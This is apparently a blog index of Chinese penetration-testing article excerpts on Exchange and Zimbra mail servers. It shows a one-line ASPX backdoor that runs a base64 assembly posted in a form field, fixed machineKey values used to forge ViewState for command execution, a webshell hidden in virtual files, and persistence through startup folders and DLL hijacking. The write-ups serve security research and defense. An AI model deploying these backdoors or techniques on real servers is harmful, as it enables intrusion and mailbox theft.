-
渗透技巧——利用虚拟文件隐藏ASP.NET Webshell
0x00 前言 通过ASP.NET的VirtualPathProvider类能够创建虚拟文件,实现以下效果:虚拟文件不存在于服务器的文件系统,但是能够对其动态编译并提供访问服务。ysoserial.net的GhostWebShell.cs提供了一种可供学习的利用思路。 本文将要介绍虚拟文件的利用方法,在ysoserial.net的GhostWebShell.cs基础上介绍Exchange下的利用方法,开源代码,记录细节,给出防御建议。 0x01 简介 本文将要介绍以下内容: VirtualPathProvider在Exchange下的利用 DotNet反序列化在Exchange下的利用 防御检测 0x02 VirtualPathProvider在Exchange下的利用 参考资料: https://docs.microsoft.com/en-us/dotnet/api/system.web.hosting.virtualpathprovider?view=netframework-4.8 在实现上需要继承VirtualPathProvider类并重写两个方法:FileExists和GetFile,注册VirtualPathProvider并创建实例后,实现虚拟文件的创建 示例代码: <%@ Page Language="C#" AutoEventWireup="true" validateRequest="false" EnableViewStateMac="false" %> <%@ Import Namespace="System.Web.Hosting" %> <%@ Import Namespace="System.Web.Compilation" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Reflection" %> <%@ Import Namespace="System.Security.Cryptography" %> <script runat="server"> public class DeferredPathProvider : VirtualPathProvider...
-
DotNet反序列化——生成ViewState的程序实现
0x00 前言 在上篇文章《渗透技巧——从Exchange文件读写权限到命令执行》介绍了通过.Net反序列化ViewState从Exchange文件读写权限到命令执行的方法,分享了三种利用脚本的开发细节,本文将要具体分析生成ViewState的细节,介绍另外一种实现从Exchange文件读写权限到命令执行的脚本开发细节 参考资料: http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html https://github.com/pwntester/ysoserial.net 0x01 简介 本文将要介绍以下内容: 两种生成ViewState的实现方法 另外一种利用脚本开发的细节 开源代码 0x02 背景知识 1.DotNet反序列化ViewState的实现原理 如果能够读取web.config的文件内容,获得其中的加密密钥和算法,就能够构造出有效的序列化数据。如果将序列化数据设置成恶意委托,那么在ViewState使用ObjectStateFormatter进行反序列化调用委托时,就能实现远程代码执行。 2.ViewState的生成流程 使用validationkey和generator作为参数,对序列化xaml数据进行签名,并放在序列化xaml数据后,作Base64编码后组成最终的ViewStaten内容 直观理解: data = Serialize(xaml) ViewState = data + (data+generator).ComputeHash(validationKey) ViewState = Base64(ViewState) 加密细节可参考: https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs#L255 https://github.com/0xacb/viewgen/blob/master/viewgen#L156 具体细节可使用dnSpy反编译System.Web.dll,找到System.Web.Configuration.MachineKeySection的GetEncodedData函数 0x03 两种生成ViewState的实现方法 测试环境: 获得了Exchange文件读写权限,能够修改%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\web.config和%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\web.config,设置machineKey的内容如下: <machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" /> 对于这两个位置的.Net反序列化命令执行,不再需要合法用户的凭据 下面介绍两种生成ViewState的程序实现方法 1.从xaml数据生成ViewState 流程如下: 构造xaml数据 生成序列化xaml数据...
-
渗透技巧——从Exchange文件读写权限到命令执行
0x00 前言 在实际的渗透测试过程中,我们会遇到各种不同的环境,例如获得了Exchange服务器的文件读写权限,但是无法执行命令。 本文将要提供一种实现方法,分析利用思路,介绍脚本开发的细节,给出防御建议。 0x01 简介 本文将要介绍以下内容: 解决思路 利用方法 程序实现 防御建议 0x02 解决思路 1.常规解决思路 (1)写入Webshell 通常选择以下两个位置: %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth %ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth 选择这两个位置的优点是可以直接访问Webshell 也可以选择其他位置,例如%ExchangeInstallPath%\ClientAccess\ecp\,写入的文件名称有限制,命令规则可参考%ExchangeInstallPath%\ClientAccess\ecp\web.config 注: 访问%ExchangeInstallPath%\ClientAccess\下的webshell需要添加合法用户的登录Cookie 总的来说,通过写入Webshell的方式比较直接,但是Exchange服务器有可能禁用了命令执行权限或是拦截系统函数的调用,依旧无法获得命令执行权限。 (2)写入PE文件 写入exe文件,可选择以下两种启动文件夹: 系统启动文件夹的位置:%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup 用户启动文件夹的位置:%USERPROFILE%\Appdata\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 写入dll文件,可选择系统常见的dll劫持位置,例如c:\Windows\System32\fxsst.dll,更多细节可参考:https://github.com/3gstudent/Pentest-and-Development-Tips/blob/master/README-en.md#method-16-windows-fax-dll-injection 总的来说,通过写入PE文件的方式比较被动,需要等待系统加载,无法做到实时的命令执行 2.有效的解决思路 修改Exchange配置,设置MachineKey,通过.Net反序列化实现命令执行 可供学习的资料: http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html https://blog.knownsec.com/2020/11/net-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8b-viewstate-%e5%88%a9%e7%94%a8/ 简单来说,我们通过设置MachineKey,就能够实现与CVE-2020-0688同样的效果,也就是说,设置MachineKey为默认值后,可以直接使用CVE-2020-0688的利用工具实现命令执行 0x03 利用方法 1.修改%ExchangeInstallPath%\ClientAccess\ecp\web.config 将<machineKey validationKey="AutoGenerate,IsolateApps" />修改为<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" /> 如果没有这一属性,那么就在system.web下添加<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"...
-
渗透基础——Exchange一句话后门的实现
0x00 前言 在之前的文章《对APT34泄露工具的分析-HighShell和HyperShell》分析了HyperShell中的ExpiredPassword.aspx,通过向Exchange登录页面下的ExpiredPassword.aspx添加代码实现后门功能。 本文将要沿着这个思路,在技术角度介绍另外两种实现方法,开源测试代码,给出防御建议。 0x01 简介 本文将要介绍以下内容: 两种后门代码的实现 通过C Sharp代码实现后门连接 通过Python代码实现后门连接 利用分析 防御建议 0x02 两种后门代码的实现 1.内存加载.net程序集 这里参考《利用动态二进制加密实现新型一句话木马之.NET篇》 为了缩短代码长度,示例test1.aspx的代码如下: <%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%> 代码会判断是否带有POST请求的参数demodata,如果存在会将POST请求中参数demodata的内容作base64解密,在内存加载并调用名为Payload的实例 注: sharpyshell也使用相同的内存加载方式 我们可以通过以下方式生成Payload: (1)新建文件demo.cs 代码如下: using System; using System.Diagnostics; public class Payload { public override bool Equals(Object obj) { Process.Start("calc.exe"); return true; } } (2)编译生成dll文件 命令如下: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe...
-
Zimbra反序列化漏洞(CVE-2019-6980)利用测试
0x00 前言 Zimbra反序列化漏洞(CVE-2019-6980)适用于8.7.x至8.8.11的Zimbra邮件服务器,是一个远程代码执行漏洞。 考虑到距补丁公开日期已经超过两年,并且没有一个完整的可用POC,所以本文将要在技术研究的角度记录测试过程,开源利用脚本,分享细节。 0x01 简介 本文将要介绍以下内容: 本地漏洞复现 实际利用分析 开源利用脚本 防御建议 0x02 本地漏洞复现 参考资料: https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html https://blog.csdn.net/fnmsd/article/details/89235589?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control&dist_request_id=1328603.11954.16149289993579653&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control (1)搭建环境 挑选符合漏洞版本的Zimbra邮件服务器,下载地址: https://www.zimbra.com/downloads/zimbra-collaboration-open-source/archives/ 具体搭建过程可参考其他资料 (2)创建用户 创建一个测试用户test1,命令如下: /opt/zimbra/bin/zmprov ca test1@test.zimbra.com Password123 displayName 结果返回测试用户test1对应的zimbraId,格式为11111111-1111-1111-1111-111111111111 补充:其它常用命令 参考资料:https://wiki.zimbra.com/wiki/Zmprov 列出所有用户: /opt/zimbra/bin/zmprov -l gaa 列出所有管理员用户: /opt/zimbra/bin/zmprov gaaa 查看用户test1对应的zimbraId: /opt/zimbra/bin/zmprov ga test1 zimbraId (3)修改服务器配置 列出所有服务器: /opt/zimbra/bin/zmprov gad 得到服务器名称test.zimbra.com 查看配置信息zimbraMemcachedClientServerList: /opt/zimbra/bin/zmprov gs...
-
利用zimbra clientuploader实现文件上传
0x00 前言 Zimbra邮件服务器的管理面板支持文件上传的功能,通常情况下,我们通过管理员用户登录管理面板,使用名为Client Upload的功能即可将文件上传至Zimbra邮件服务器的downloads目录。 这里面我们需要进一步的思考,实现文件上传的方法有哪些?如何禁用文件上传的功能?能否通过第三方扩展或者插件实现文件上传?能否绕过? 本文仅在技术研究的角度回答以上问题。 0x01 简介 本文将要介绍以下内容: 原理分析 通过zimbraAdmin管理面板实现文件上传 通过zimlet实现文件上传 通过Zimbra SOAP API实现文件上传 利用思路 防御建议 0x02 原理分析 Zimbra邮件服务器通过com_zimbra_clientuploader实现文件上传的功能 我们可以在Zimbra邮件服务器的安装文件中找到文件上传功能对应的文件 对应安装目录下的文件为/opt/zimbra/lib/ext/com_zimbra_clientuploader/com_zimbra_clientuploader.jar 为了查看具体的实现代码,这里需要对jar文件进行反编译 反编译的功能可以使用JD-GUI,地址:http://java-decompiler.github.io/ 使用JD-GUI打开com_zimbra_clientuploader.jar,文件结构如下图 (1)文件上传功能的主函数 对应文件ClientUploaderHandler.class (2)文件上传功能的写入位置 对应文件ClientUploaderLC.class,如下图 写入位置为/opt/zimbra/jetty/webapps/zimbra/downloads (3)响应代码对应的内容 对应文件ZClientUploaderResoCode.class,如下图 内容如下: SUCCEEDED(1L, "Succeeded"), FAILED(20000000L, "Upload failed"), NOT_A_FILE(20000001L, "The request does not upload a file"), REPO_INVALID(20000002L, "Invalid directory for...
-
渗透基础——支持NTLM Over HTTP协议的Webshell实现
0x00 前言 在某些环境下,访问Web服务器的资源需要通过NTLM Over HTTP协议进行NTLM认证,而我们在这样的Web服务器使用Webshell时,不仅需要考虑NTLM认证的实现,还需要满足能够在命令行下使用。 本文仅在技术研究的角度介绍一种实现方法,开源代码,分享脚本开发细节。 0x01 简介 本文将要介绍以下内容: 设计思路 脚本开发细节 开源代码 0x02 设计思路 通过NTLM Over HTTP协议进行NTLM认证的Web服务器有很多,这里分别以Exchange和SharePoint为例 (1)Exchange测试环境 文件保存的绝对路径: C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Autodiscover\test.aspx 对应的URL为: https://URL/Autodiscover/test.aspx (2)SharePoint测试环境 文件保存的绝对路径: C:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\test.aspx 对应的URL为: http://URL/_layouts/15/test.aspx 访问test.aspx时均需要通过NTLM Over HTTP协议进行NTLM认证 这里以一个支持cmd命令的webshell为例进行测试,webshell的地址为: https://github.com/tennc/webshell/blob/master/aspx/asp.net-backdoors/cmdexec.aspx 如下图 这个webshell需要通过浏览器进行操作,首先完成NTLM认证,接着填入正确的Auth Key和要执行的cmd命令 我们的目标是满足能够在命令行下使用,可以以此为模板进行修改,设计思路如下: (1)execCmd.aspx 接收Form表单请求作为参数,对Auth Key进行验证 如果验证失败,返回空结果 如果验证成功,执行传入的cmd命令并返回执行结果 (2)aspxCmdNTLM.py 命令行脚本...
-
渗透基础——利用IMAP协议读取邮件
0x00 前言 在渗透测试中,当我们获得了用户的邮箱凭据,需要对邮箱内容进行分析时,可以选择通过IMAP协议实现自动化来提高效率。 本文以Exchange为例,介绍通过IMAP协议下载邮件和附件的方法,开源代码,分享脚本编写细节。 0x01 简介 本文将要介绍以下内容: 基础知识 Exchange开启IMAP功能和登录日志 Python3实现细节 开源代码 0x02 基础知识 1.IMAP 全称是Internet Mail Access Protocol,即交互式邮件存取协议 是一种邮件获取协议,可以从邮件服务器上获取邮件的信息 使用端口143 2.IMAP4_SSL 全称是IMAP over SSL,是IMAP协议基于SSL安全协议之上的一种变种协议 继承了SSL安全协议的非对称加密的高度安全可靠性,可防止邮件泄露,也是用来接收邮件的 使用端口993 3.Python3 imaplib库 官方文档: https://docs.python.org/3/library/imaplib.html 该模块定义了三个类,IMAP4,IMAP4_SSL和 IMAP4_stream 为了提高安全性,我们通常使用用于安全连接的子类IMAP4_SSL 4.Python3 email库 官方文档: https://docs.python.org/3/library/email.html 当我们使用imaplib库读取邮件时,需要使用email库将接收的消息转换为EmailMessage对象,可以更加方便的对邮件内容进行处理 0x03 Exchange开启IMAP功能和登录日志 默认情况下,Exchange中未启用IMAP4客户端连接 参考资料: https://docs.microsoft.com/en-us/exchange/clients/pop3-and-imap4/configure-imap4?view=exchserver-2019 开启方法如下: 1.启动IMAP4服务,并将服务配置为自动启动 Powershell命令如下: Start-Service MSExchangeIMAP4; Start-Service MSExchangeIMAP4BE...
-
渗透基础——活动目录信息的获取2:Bypass AV
0x00 前言 在之前的文章《渗透基础——活动目录信息的获取》以获取活动目录中所有用户、所有计算机和所有组为例,介绍常用的信息获取方法。 但是在实际使用过程中,一些工具会被杀毒软件拦截。 所以本文将要对获取方法进行补充,同时绕过杀毒软件的拦截。 0x01 简介 本文将要介绍以下内容: 使用csvde获取活动目录信息 使用ldifde获取活动目录信息 使用AdFind获取活动目录信息 使用C#开发的轻量级获取工具 0x02 使用csvde获取活动目录信息 说明文档: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732101(v=ws.11) 使用csvde导出的文件格式为csv,可以使用Microsoft Excel查看 默认只能在以下系统使用,例如: Windows Server 2003 Windows Server 2008 Windows Server 2003 R2 Windows Server 2008 R2 Windows Server 2012, Windows Server 2003 with SP1 Windows 8 … 1.导出当前域内活动目录信息示例 导出当前域内所有信息: csvde -f all.csv 导出当前域内所有用户信息:...
-
Zimbra-SOAP-API开发指南2
0x00 前言 在上一篇文章《Zimbra-SOAP-API开发指南》介绍了Zimbra SOAP API的调用方法,开源代码Zimbra_SOAP_API_Manage。 本文将要在此基础上扩充功能,添加使用管理员权限可以实现的功能。 0x01 简介 本文将要介绍以下内容: 获得指定邮箱用户的token 通过clientUploader插件向服务器上传文件 日志检测 0x02 获得指定邮箱用户的token 说明文档:https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraAdmin/DelegateAuth.html 对应命名空间为zimbraAdmin 请求的地址为:uri+":7071/service/admin/soap" 根据说明文档中的SOAP格式,可通过以下Python代码实现: def gettoken_request(uri,token): print("[*] Input the mailbox:") mail = input("[>]: ") request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"> <soap:Header> <context xmlns="urn:zimbra"> <authToken>{token}</authToken> </context> </soap:Header> <soap:Body> <DelegateAuthRequest xmlns="urn:zimbraAdmin"> <account by="name">{mail}</account> </DelegateAuthRequest> </soap:Body> </soap:Envelope> """ try: print("[*] Try to get...